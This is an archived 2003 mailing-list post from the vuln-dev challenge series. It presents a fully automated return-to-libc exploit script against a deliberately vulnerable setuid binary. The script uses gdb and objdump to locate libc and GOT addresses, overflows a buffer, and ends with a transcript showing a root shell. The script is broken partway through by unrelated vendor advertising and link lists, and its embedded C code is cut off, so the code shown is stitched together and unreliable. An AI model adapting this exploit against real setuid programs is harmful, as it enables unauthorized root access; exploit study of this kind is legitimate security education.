Re: [Vuln-dev Challenge] Challenge #2 (return-to-libc)

Spacewalker and others who did a return-to-libc sploit for vulndev-2. Returning to system() means your command will be executed like this:

   /bin/sh -c blabla

In Linux, /bin/sh is a symlink to bash. Recent versions of bash reset the EUID to the real UID. Many other shells also reset the EUID, since it's pretty common to execute /bin/sh in sploits (that's why shellcodes usually include a setuid-call before the exec, you know).

Jon Erickson AKA Jose Ronnick exploited it "for real" though, and here's yet another working return-to-libc exploit, which uses a different approach. As usual, the sploit is fully automated.

[je@vudo ~]$ cat expldev-2.sh
#!/bin/sh
#
# Linux/x86 exploit for vulndev-2. Version 2 (return-to-libc).
#
# 2003-05-25 - Joel Eriksson (je at 0xbadc0ded.org)
#

[ $# -ge 1 ] && vul=$1 || vul=./vulndev-2 ; shift

cat > expldev-2.c << EOF
#include <unistd.h>
int main(void)
{

        setreuid(0, 0);
        execl("/bin/sh", "sh", NULL);
        perror("exec");
        return 1;

buf_size=90     # size of buffer
pad_size=2      # align to word boundary
num_reps=32	# &bfp - &buf may be > BFSIZE (padding/alignment)

Do you need help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek

cp $vul $vul.tmp # Can't trace a SUID-binary, so use a temporary file. cat > expldev-2.gdb << EOF
file $vul.tmp
b main
r
p/x &execv
q
EOF
addr_printf=0x$(objdump -R $vul | awk '$3 == "printf" { print $1 }') addr_execv=$(gdb -q -x expldev-2.gdb | sed -n '$,$s/.* = //p') rm -f expldev-2.gdb $vul.tmp

perl -e 'print "\0\0\0\0" . pack("L", '$[addr_execv]')' > db.log

arg1=$(perl -e '

        print "A" x ('$[buf_size + pad_size]') .
        pack("L", '$[addr_printf - 4]') x '$num_reps

$vul $arg1 ""
[je@vudo ~]$ ./expldev-2.sh
sh-2.05b# whoami
root
sh-2.05b# exit
exit
[je@vudo ~]$

-- 
Joel Eriksson
-------------------------------------------------
Cellphone: +46-70-288 64 16 Home: +46-26-10 23 37
Security Research & Systems Development at Bitnux
PGP Key Server pgp.mit.edu, PGP Key ID 0x529FDBD1
A615 A1E1 3CA2 D7C2 CFEA 47B4 7EF7 E6B2 529F DBD1
-------------------------------------------------